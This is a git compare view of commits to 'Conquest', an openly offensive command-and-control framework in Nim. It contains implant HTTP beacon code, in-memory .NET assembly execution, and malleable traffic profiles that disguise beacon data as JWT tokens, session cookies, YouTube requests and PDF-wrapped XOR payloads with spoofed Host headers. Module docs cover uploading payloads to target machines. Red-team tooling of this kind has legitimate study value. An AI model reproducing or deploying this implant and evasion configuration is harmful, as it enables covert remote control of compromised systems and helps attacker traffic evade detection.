Compare commits

24 Commits
dev ... main

Author SHA1 Message Date
Jakob Friedl
d4c57cf980 Implemented support for binary prefix/suffix. 2025-11-23 20:40:48 +01:00
Jakob Friedl
fb78ae16cc Implemented chaining multiple encoding techniques for data transformation. 2025-11-21 20:14:21 +01:00
Jakob Friedl
6a20c25085 Updated to TOML v1.0.0. 2025-11-21 15:55:41 +01:00
Jakob Friedl
2f2130927e Added ROT and XOR encoding to data transformation. 2025-11-19 20:42:08 +01:00
Jakob Friedl
8468cfdab7 Removed redundant code in data transformation implementation. 2025-11-19 15:39:36 +01:00
Jakob Friedl
72bc732c89 Heartbeat can be placed in request body again. 2025-11-18 09:43:56 +01:00
Jakob Friedl
3b5b570e24 Update README.md 2025-11-17 09:27:13 +01:00
Jakob Friedl
d66f78337f Fixed nim.cfg. 2025-11-13 11:24:16 +01:00
Jakob Friedl
f24e5752a9 Merge branch 'main' of https://github.com/jakobfriedl/conquest 2025-11-12 19:51:07 +01:00
Jakob Friedl
bb7ed24799 Updated youtube video profile. 2025-11-12 19:50:57 +01:00
Jakob Friedl
8a66e56c5a Updated youtube video profile. 2025-11-10 12:14:00 +01:00
Jakob Friedl
df8453bf1a Implemented hex encoding for data transformation. 2025-11-08 16:16:15 +01:00
Jakob Friedl
b02cc5a331 Implemented data transformation and placement via profile for agent POST requests (task results/registration). 2025-11-08 15:59:36 +01:00
Jakob Friedl
0149a82f60 Added youtube video example profile. 2025-11-07 20:22:13 +01:00
Jakob Friedl
4907639848 Small changes. 2025-11-06 16:48:06 +01:00
Jakob Friedl
b8f57a8074 Updated 'ps' command implementation. 2025-11-05 15:14:05 +01:00
Jakob Friedl
56f244e4d5 Updated 'ps' command implementation. 2025-11-05 13:12:27 +01:00
Jakob Friedl
8a22cf9e53 Client no longer crashes when payload generation modal is closed prematurely. 2025-11-04 22:37:26 +01:00
Jakob Friedl
235479a38b Included user information in 'ps' command. 2025-11-04 15:44:26 +01:00
Jakob Friedl
f3ddc49729 Improved Windows version fingerprinting and fixed console window not being focused on double-click. 2025-11-04 13:53:54 +01:00
Jakob Friedl
315b7fe50a Updated 'upload' command. 2025-11-03 17:56:32 +01:00
Jakob Friedl
032adfa051 Implemented BeaconIsAdmin(). 2025-11-03 14:50:37 +01:00
Jakob Friedl
b1603fc7b6 Host for the websocket server can now be specified in the team server profile. 2025-11-03 09:52:01 +01:00
Jakob Friedl
ec2388d993 Reworked websocket communication to avoid high CPU usage by client application. 2025-11-02 09:57:53 +01:00
37 changed files with 3331 additions and 488 deletions

View File

@@ -53,8 +53,9 @@ The following projects and people have significantly inspired and/or helped with
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/) - [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/) - [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
- [winim](https://github.com/khchen/winim) - [winim](https://github.com/khchen/winim)
- [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim) - [OffensiveNim](https://github.com/byt3bl33d3r/OffensiveNim)
- Existing C2's written (partially) in Nim - Existing C2's written (partially) in Nim
- [NimPlant](https://github.com/chvancooten/NimPlant) - [NimPlant](https://github.com/chvancooten/NimPlant)
- [Nimhawk](https://github.com/hdbreaker/Nimhawk) - [Nimhawk](https://github.com/hdbreaker/Nimhawk)
- [grc2](https://github.com/andreiverse/grc2) - [grc2](https://github.com/andreiverse/grc2)
- [Nimbo-C2](https://github.com/itaymigdal/Nimbo-C2)

BIN
assets/modules-10.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 301 KiB

View File

@@ -20,12 +20,11 @@ task client, "Build conquest client binary":
requires "nim >= 2.2.4" requires "nim >= 2.2.4"
requires "parsetoml >= 0.7.2"
requires "nimcrypto >= 0.6.4" requires "nimcrypto >= 0.6.4"
requires "tiny_sqlite >= 0.2.0" requires "tiny_sqlite >= 0.2.0"
requires "winim >= 3.9.4" requires "winim >= 3.9.4"
requires "ptr_math >= 0.3.0" requires "ptr_math >= 0.3.0"
requires "imguin >= 1.92.2.1" requires "imguin >= 1.92.4.0"
requires "zippy >= 0.10.16" requires "zippy >= 0.10.16"
requires "mummy >= 0.4.6" requires "mummy >= 0.4.6"
requires "whisky >= 0.1.3" requires "whisky >= 0.1.3"

View File

@@ -7,10 +7,9 @@ database-file = "data/conquest.db"
# Team server settings (WebSocket server port, users, ...) # Team server settings (WebSocket server port, users, ...)
[team-server] [team-server]
host = "0.0.0.0"
port = 37573 port = 37573
# [team-server.users]
# ---------------------------------------------------------- # ----------------------------------------------------------
# HTTP GET # HTTP GET
# ---------------------------------------------------------- # ----------------------------------------------------------
@@ -19,14 +18,15 @@ port = 37573
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP GET requests # Defines URI endpoints for HTTP GET requests
# This has to be an array, even if it only has one member
endpoints = [ endpoints = [
"/get", "/get",
"/api/v1.2/status.js" "/api/v1.2/status.js"
] ]
# Defines where the heartbeat is placed within the HTTP GET request # Defines where the heartbeat is placed within the HTTP GET request
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings # Allows for optional data transformation using encoding (base64, hex, ...), appending and prepending of strings
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body # Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter or request body
# Encoding is only applied to the payload and not the prepended or appended strings # Encoding is only applied to the payload and not the prepended or appended strings
[http-get.agent.heartbeat] [http-get.agent.heartbeat]
placement = { type = "header", name = "Authorization" } placement = { type = "header", name = "Authorization" }
@@ -36,13 +36,26 @@ suffix = ".######################################-####"
# Example: PHP session cookie # Example: PHP session cookie
# placement = { type = "header", name = "Cookie" } # placement = { type = "header", name = "Cookie" }
# encoding = { type = "base64", url-safe = true }
# prefix = "PHPSESSID=" # prefix = "PHPSESSID="
# suffix = ", path=/" # suffix = ", path=/"
# encoding = { type = "base64", url-safe = true }
# Other examples # Example: Hex string in GET parameter
# placement = { type = "parameter", name = "id" } # placement = { type = "query", name = "id" }
# placement = { type = "uri" } # encoding = { type = "hex" }
# Example: Data encoded with multiple techniques in GET request body
# placement = { type = "body" }
# encoding = [
# { type = "rot", key = 5 },
# { type = "base64" }
# ]
# Example: Binary prefix (PDF header)
# placement = { type = "body" }
# encoding = { type = "xor", key = 100 }
# prefix = [0x25, 0x50, 0x44, 0x46]
# suffix = [0x25, 0x25, 0x45, 0x4F, 0x46]
# Defines arbitrary URI parameters that are added to the request # Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters] [http-get.agent.parameters]
@@ -84,32 +97,50 @@ placement = { type = "body" }
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests # Defines URI endpoints for HTTP POST requests
# This has to be an array, even if it only has one member
endpoints = [ endpoints = [
"/post", "/post",
"/api/v2/get.js" "/api/v2/get.js"
] ]
# Post request can also be sent with the HTTP verb PUT instead # Post request can also be sent with a different HTTP verb (PUT, GET, ...)
request-methods = [ request-methods = [
"POST", "POST",
"PUT" "PUT"
] ]
# Defines arbitrary request headers that are added to the POST request
[http-post.agent.headers] [http-post.agent.headers]
Host = [ Host = [
"wikipedia.org", "wikipedia.org",
"google.com", "google.com",
"127.0.0.1" "127.0.0.1"
] ]
Content-Type = "application/octet-stream" Content-Type = "text/plain"
Connection = "Keep-Alive" Connection = "Keep-Alive"
Cache-Control = "no-cache" Cache-Control = "no-cache"
# Defines arbitrary query parameters that are added to the URI
[http-post.agent.parameters]
lang = [
"en-US",
"de-AT"
]
page = "1$" # The $ character is replaced with a random number
# Defines how the POST requests made by the agents look like
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
# Placing this type of data in the body is highly recommended
[http-post.agent.output] [http-post.agent.output]
placement = { type = "body" } placement = { type = "body" }
encoding = { type = "hex" }
# prefix = "<START>"
# suffix = "<END>"
# Defines arbitrary response headers added by the server
[http-post.server.headers] [http-post.server.headers]
Server = "nginx" Server = "nginx"
# Defines data that is returned in the body of the server's response
[http-post.server.output] [http-post.server.output]
placement = { type = "body" } body = "Ok"

141
data/youtube.toml Normal file
View File

@@ -0,0 +1,141 @@
# Conquest youtube video profile
name = "youtube-video-profile"
# Important file paths and locations
private-key-file = "data/keys/conquest-server_x25519_private.key"
database-file = "data/conquest.db"
# Team server settings (WebSocket server port, users, ...)
[team-server]
host = "0.0.0.0"
port = 37573
# ----------------------------------------------------------
# HTTP GET
# ----------------------------------------------------------
# Defines URI endpoints for HTTP GET requests
[http-get]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP GET requests
endpoints = [
"/watch"
]
# Defines where the heartbeat is placed within the HTTP GET request
[http-get.agent.heartbeat]
placement = { type = "header", name = "Cookie" }
encoding = { type = "base64", url-safe = true }
prefix = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA="
suffix = "; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
# Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters]
v = "###########"
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers]
Host = "www.youtube.com"
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
Sec-Ch-Ua-Mobile = "?0"
Sec-Ch-Ua-Full-Version = "\"\""
Sec-Ch-Ua-Arch = "\"\""
Sec-Ch-Ua-Platform = "\"Windows\""
Sec-Ch-Ua-Platform-Version = "\"\""
Sec-Ch-Ua-Model = "\"\""
Sec-Ch-Ua-Bitness = "\"\""
Sec-Ch-Ua-Wow64 = "?0"
Accept-Language = [
"en-US,en;q=0.9",
"de-AT,de;q=0.9,en;q=0.8"
]
Upgrade-Insecure-Requests = "1"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
Service-Worker-Navigation-Preload = "true"
Sec-Fetch-Site = "none"
Sec-Fetch-Mode = "navigate"
Sec-Fetch-User = "?1"
Sec-Fetch-Dest = "document"
Priority = "u=0, i"
# Defines arbitrary headers that are added to the server\"s response
[http-get.server.headers]
Content-Type = "text/html; charset=utf-8"
X-Content-Type-Options = "nosniff"
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
Pragma = "no-cache"
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
Strict-Transport-Security = "max-age=31536000"
X-Frame-Options = "SAMEORIGIN"
Content-Security-Policy = "require-trusted-types-for \"script\""
Server = "ESF"
X-Xss-Protection = "0"
P3p = "CP=\"This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=de for more info.\""
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
Set-Cookie = "__Secure-YEC=##############################################################################; Domain=.youtube.com; Expires=Mon, 07-Dec-2026 11:39:54 GMT; Path=/; Secure; HttpOnly; SameSite=lax"
# Defines how the server"s response to the task retrieval request is rendered
[http-get.server.output]
placement = { type = "body" }
encoding = { type = "base64" }
prefix = "<!DOCTYPE html><html style=\"font-size: 10px;font-family: Roboto, Arial, sans-serif;\" lang=\"de-DE\"><head><script data-id=\"_gd\" nonce=\"iqZzTrtVB86B0KRGblxg9Q\">window.WIZ_global_data = {\"HiPsbb\":0,\"MUE6Ne\":\"youtube_web\",\"MuJWjd\":false};</script><meta http-equiv=\"origin-trial\" content=\""
suffix = "\"/><script nonce=\"iqZzTrtVB86B0KRGblxg9Q\">var ytcfg={d:function(){return window.yt&&yt.config_||ytcfg.data_||(ytcfg.data_={})},get:function(k,o){return k in ytcfg.d()?ytcfg.d()[k]:o},set:function(){var a=arguments;if(a.length>1)ytcfg.d()[a[0]]=a[1];else{var k;for(k in a[0])ytcfg.d()[k]=a[0][k]}}};window.ytcfg.set(\"EMERGENCY_BASE_URL\", \"/error_204?"
# ----------------------------------------------------------
# HTTP POST
# ----------------------------------------------------------
[http-post]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests
endpoints = [
"/youtubei/v1/like/like",
"/youtubei/v1/log_event",
"/youtubei/v1/player"
]
# Post request can also be sent with the HTTP verb PUT instead
request-methods = "POST"
[http-post.agent.headers]
Host = "www.youtube.com"
Referer = "https://www.youtube.com/watch?v=###########"
Content-Type = "application/json"
Connection = "Keep-Alive"
Cache-Control = "no-cache"
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
Sec-Ch-Ua-Mobile = "?0"
Sec-Ch-Ua-Full-Version = "\"\""
Sec-Ch-Ua-Arch = "\"\""
Sec-Ch-Ua-Platform = "\"Windows\""
Sec-Ch-Ua-Platform-Version = "\"\""
Sec-Ch-Ua-Model = "\"\""
Sec-Ch-Ua-Bitness = "\"\""
Sec-Ch-Ua-Wow64 = "?0"
Cookie = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA=##################################################################; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
[http-post.agent.parameters]
pretty-print = [
"true",
"false"
]
[http-post.agent.output]
placement = { type = "body" }
encoding = { type = "base64", url-safe = true }
prefix = "{\"context\":{\"client\":{\"hl\":\"de\",\"gl\":\"AT\",\"remoteHost\":\"$$.1$$.$$.1$$\",\"deviceMake\":\"\",\"deviceModel\":\"\",\"visitorData\":\"Cgt1M016MzRrZmhTUSj12MbIBjInCgJBVBIhEh0SGwsMDg8QERITFBUWFxgZGhscHR4fICEiIyQlJiBe\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36,gzip(gfe)\",\"clientName\":\"WEB\",\"clientVersion\":\"2.20251107.01.00\",\"osName\":\"Windows\",\"osVersion\":\"10.0\",\"originalUrl\":\"https://www.youtube.com/\",\"screenPixelDensity\":2,\"platform\":\"DESKTOP\",\"clientFormFactor\":\"UNKNOWN_FORM_FACTOR\",\"configInfo\":{\"appInstallData\":\""
suffix = "\"},\"screenDensityFloat\":1.5,\"userInterfaceTheme\":\"USER_INTERFACE_THEME_DARK\",\"timeZone\":\"Europe/Vienna\",\"browserName\":\"Chrome\",\"browserVersion\":\"142.0.0.0\",\"acceptHeader\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"deviceExperimentId\":\"ChxOelUzTVRBeU1qQTJPVEV4TkRFNU5qUXhOQT09EPXYxsgGGPXYxsgG\",\"rolloutToken\":\"CJu4u9qz64jjcxCr8dad-t-QAxjzyIbunueQAw%3D%3D\",\"screenWidthPoints\":1920,\"screenHeightPoints\":1065,\"utcOffsetMinutes\":60,\"connectionType\":\"CONN_CELLULAR_3G\",\"memoryTotalKbytes\":\"8000000\",\"mainAppWebInfo\":{\"graftUrl\":\"https://www.youtube.com/watch?v=###########&list=RD4WIMyqBG9gs&start_radio=1\",\"pwaInstallabilityStatus\":\"PWA_INSTALLABILITY_STATUS_UNKNOWN\",\"webDisplayMode\":\"WEB_DISPLAY_MODE_BROWSER\",\"isWebNativeShareAvailable\":true}},\"user\":{\"lockedSafetyMode\":false},\"request\":{\"useSsl\":true,\"internalExperimentFlags\":[],\"consistencyTokenJars\":[]},\"clickTracking\":{\"clickTrackingParams\":\"CJgFEKVBIhMIucGi957nkAMVneRJBx3cFhscygEErMFOaw==\"},\"adSignalsInfo\":{\"params\":[{\"key\":\"dt\",\"value\":\"1762765953510\"},{\"key\":\"flash\",\"value\":\"0\"},{\"key\":\"frm\",\"value\":\"0\"},{\"key\":\"u_tz\",\"value\":\"60\"},{\"key\":\"u_his\",\"value\":\"4\"},{\"key\":\"u_h\",\"value\":\"1200\"},{\"key\":\"u_w\",\"value\":\"1920\"},{\"key\":\"u_ah\",\"value\":\"1152\"},{\"key\":\"u_aw\",\"value\":\"1920\"},{\"key\":\"u_cd\",\"value\":\"24\"},{\"key\":\"bc\",\"value\":\"31\"},{\"key\":\"bih\",\"value\":\"1065\"},{\"key\":\"biw\",\"value\":\"1905\"},{\"key\":\"brdim\",\"value\":\"0,0,0,0,1920,0,1920,1152,1920,1065\"},{\"key\":\"vis\",\"value\":\"1\"},{\"key\":\"wgl\",\"value\":\"true\"},{\"key\":\"ca_type\",\"value\":\"image\"}],\"bid\":\"ANyPxKqp2RGW0TLEXMjNbBRm6ZPDYteE8iHnYK0DaJMOiTEHrbqefZtn6qfK_MhA2-ZgnoosEwKaN8pi77jJRptRzz5Rsm-P_w\"}},\"target\":{\"videoId\":\"###########\"},\"params\":\"Cg0KCzRXSU15cUJHOWdzIAAyDAiJ2cbIBhCm6ueLAQ%3D%3D\"}"
[http-post.server.headers]
Content-Type = "application/json; charset=utf-8"
X-Content-Type-Options = "nosniff"
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
Pragma = "no-cache"
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
Server = "ESF"
X-Xss-Protection = "0"
Strict-Transport-Security = "max-age=31536000"
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
[http-post.server.output]
body = "{\"responseContext\": {}}"

View File

@@ -6,13 +6,16 @@
- [Team server settings](#team-server-settings) - [Team server settings](#team-server-settings)
- [GET settings](#get-settings) - [GET settings](#get-settings)
- [Data transformation](#data-transformation) - [Data transformation](#data-transformation)
- [Chaining Encodings](#chaining-encodings)
- [Binary Prefix/Suffix](#binary-prefixsuffix)
- [More Examples](#more-examples)
- [Request options](#request-options) - [Request options](#request-options)
- [Response options](#response-options) - [Response options](#response-options)
- [POST settings](#post-settings) - [POST settings](#post-settings)
## General ## General
Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies. Conquest supports malleable C2 profiles written using the TOML configuration language and fully support the TOML v1.0.0 spec. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies. There is also the `$` wildcard, which is replaced by a single digit, for randomizing numeric values.
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database. General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
@@ -23,10 +26,11 @@ database-file = "data/conquest.db"
``` ```
## Team server settings ## Team server settings
The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block. The team server settings currently only include the host and port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block. By default, the team server listens on all interfaces on port 37573 for client connections.
```toml ```toml
[team-server] [team-server]
host = "0.0.0.0"
port = 37573 port = 37573
``` ```
@@ -49,12 +53,13 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
| Name | Type | Description | | Name | Type | Description |
| --- | --- | --- | | --- | --- | --- |
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`| | placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query` and `body`.|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.| | placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) | | encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex`, `rot`, `xor` and `none` (default) |
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. | | encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
| prefix | STRING | String to prepend before the heartbeat payload. | | encoding.key | INTEGER | Only used if encoding.type is set to `xor` or `rot`. The `rot` setting applies a Caesar cipher, while `xor` simply XOR-encodes the data. |
| suffix | STRING | String to append after the heartbeat payload. | | prefix | STRING/ARRAY | String to prepend before the heartbeat payload. |
| suffix | STRING/ARRAY | String to append after the heartbeat payload. |
The order of operations is: The order of operations is:
1. Encoding 1. Encoding
@@ -66,9 +71,6 @@ On the other hand, the server processes the requests in the following order:
2. Removal of prefix & suffix 2. Removal of prefix & suffix
3. Decoding 3. Decoding
> [!NOTE]
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request. To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
```toml ```toml
@@ -81,8 +83,36 @@ suffix = ".######################################-####"
![Heartbeat in Authorization Header](../assets/profile-1.png) ![Heartbeat in Authorization Header](../assets/profile-1.png)
#### Chaining Encodings
Multiple encodings can be applied to a packet by defining them in an array of inline-tables, as seen in the example below. The encodings are applied in the order they are defined in the profile. During the decoding of the data transformation, this order is reversed. Hence, the example below first applies the ROT encoding with the key 5 on the data and later base64-encodes it. The reversal starts with the base64-decoding and a rotation in the opposite direction.
```toml
placement = { type = "body" }
encoding = [
{ type = "rot", key = 5 },
{ type = "base64" }
]
```
#### Binary Prefix/Suffix
Instead of using strings for the prefix and suffix, it is also possible to use an array of integers to define the bytes that will be prepended/appended. Hex-formatting is supported, so something like the following can be used. This is useful to create requests that resemble binary data, such as PNGs and PDFs.
```toml
placement = { type = "body" }
encoding = { type = "xor", key = 100 }
prefix = [0x25, 0x50, 0x44, 0x46] # %PDF
suffix = [0x25, 0x25, 0x45, 0x4F, 0x46] # %%EOF
```
#### More Examples
Check the [default profile](../data/profile.toml) for more examples. Check the [default profile](../data/profile.toml) for more examples.
Other example profiles:
- [youtube.profile](../data/youtube.toml): Traffic that resembles watching and interacting with Youtube videos.
### Request options ### Request options
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns. The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
@@ -127,24 +157,26 @@ placement = { type = "body" }
## POST settings ## POST settings
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. Under `[http-post.agent.output]`, it is possible to define how the POST requests made to the server by the agents look like. The same data transformation techniques can be applied. For example, it would be possible to hide task output as a base64 string within a JSON object. The `[http-post.server.output]` block can be used to customize the server's response.
```toml ```toml
[http-post] [http-post]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests # Defines URI endpoints for HTTP POST requests
# This has to be an array, even if it only has one member
endpoints = [ endpoints = [
"/post", "/post",
"/api/v2/get.js" "/api/v2/get.js"
] ]
# Post request can also be sent with the HTTP verb PUT instead # Post request can also be sent with a different HTTP verb (PUT, GET, ...)
request-methods = [ request-methods = [
"POST", "POST",
"PUT" "PUT"
] ]
# Defines arbitrary request headers that are added to the POST request
[http-post.agent.headers] [http-post.agent.headers]
Host = [ Host = [
"wikipedia.org", "wikipedia.org",
@@ -155,14 +187,28 @@ Content-Type = "application/octet-stream"
Connection = "Keep-Alive" Connection = "Keep-Alive"
Cache-Control = "no-cache" Cache-Control = "no-cache"
# Defines arbitrary query parameters that are added to the URI
[http-post.agent.parameters]
lang = [
"en-US",
"de-AT"
]
# Defines how the POST requests made by the agents look like
# Placing this type of data in the body is highly recommended due to the size of certain task results
[http-post.agent.output] [http-post.agent.output]
placement = { type = "body" } placement = { type = "body" }
encoding = { type = "none" }
# prefix = ""
# suffix = ""
# Defines arbitrary response headers added by the server
[http-post.server.headers] [http-post.server.headers]
Server = "nginx" Server = "nginx"
# Defines data that is returned in the body of the server's response
[http-post.server.output] [http-post.server.output]
placement = { type = "body" } body = ""
``` ```
![POST request with task data](../assets/profile-3.png) ![POST request with task data](../assets/profile-3.png)

View File

@@ -304,13 +304,14 @@ Arguments:
### upload ### upload
Upload a file from the operator Desktop to the targe system. Upload a file from the operator Desktop to the targe system.
``` ```
Usage : upload <file> Usage : upload <file> [destination]
Example : upload /path/to/payload.exe Example : upload /path/to/payload.exe
Arguments: Arguments:
Name Type Required Description Name Type Required Description
--------------- ------ -------- -------------------- --------------- ------ -------- --------------------
* file BINARY YES Path to file to upload to the target machine. * file BINARY YES Path to file to upload to the target machine.
* destination STRING NO Path to upload the file to. By default, uploads to current directory.
``` ```
## SCREENSHOT ## SCREENSHOT
@@ -333,6 +334,8 @@ Usage : ps
Example : ps Example : ps
``` ```
![Ps command](../assets/modules-10.png)
### env ### env
Display environment variables. Display environment variables.
``` ```

View File

@@ -1,5 +1,4 @@
import winim/[lean, clr] import winim/[lean, clr]
import os
import ../utils/[hwbp, io] import ../utils/[hwbp, io]
import ../../common/utils import ../../common/utils
@@ -60,7 +59,7 @@ proc dotnetInlineExecuteGetOutput*(assemblyBytes: seq[byte], arguments: seq[stri
# Create AppDomain # Create AppDomain
let appDomainType = mscorlib.GetType(protect("System.AppDomain")) let appDomainType = mscorlib.GetType(protect("System.AppDomain"))
let domainSetup = mscorlib.new(protect("System.AppDomainSetup")) let domainSetup = mscorlib.new(protect("System.AppDomainSetup"))
domainSetup.ApplicationBase = getCurrentDir() domainSetup.ApplicationBase = protect("C:/Windows/System32")
domainSetup.DisallowBindingRedirects = false domainSetup.DisallowBindingRedirects = false
domainSetup.DisallowCodeDownload = true domainSetup.DisallowCodeDownload = true
domainSetup.ShadowCopyFiles = protect("false") domainSetup.ShadowCopyFiles = protect("false")

View File

@@ -1,6 +1,5 @@
import parsetoml, system
import ../utils/io import ../utils/io
import ../../common/[types, utils, crypto, serialize] import ../../common/[types, utils, crypto, profile, serialize]
const CONFIGURATION {.strdefine.}: string = "" const CONFIGURATION {.strdefine.}: string = ""

View File

@@ -1,57 +1,46 @@
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random import httpclient, strformat, strutils, asyncdispatch, base64, tables, random
import ../utils/io import ../utils/io
import ../../common/[types, utils, profile] import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent"))) let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes # Apply data transformation
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none")) let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
of protect("base64"): var body: string = ""
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of protect("none"):
heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile # Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")): for header in ctx.profile.getTableKeys(protect("http-get.agent.headers")):
client.headers.add(header, value.getStringValue()) client.headers.add(header.key, header.value.getStringValue())
# Select a random endpoint to make the request to # Select a random endpoint to make the request to
var endpoint = ctx.profile.getString(protect("http-get.endpoints")) var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
if endpoint[0] == '/': if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request # Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")): case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of protect("header"): of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload) client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of protect("parameter"): of protect("query"):
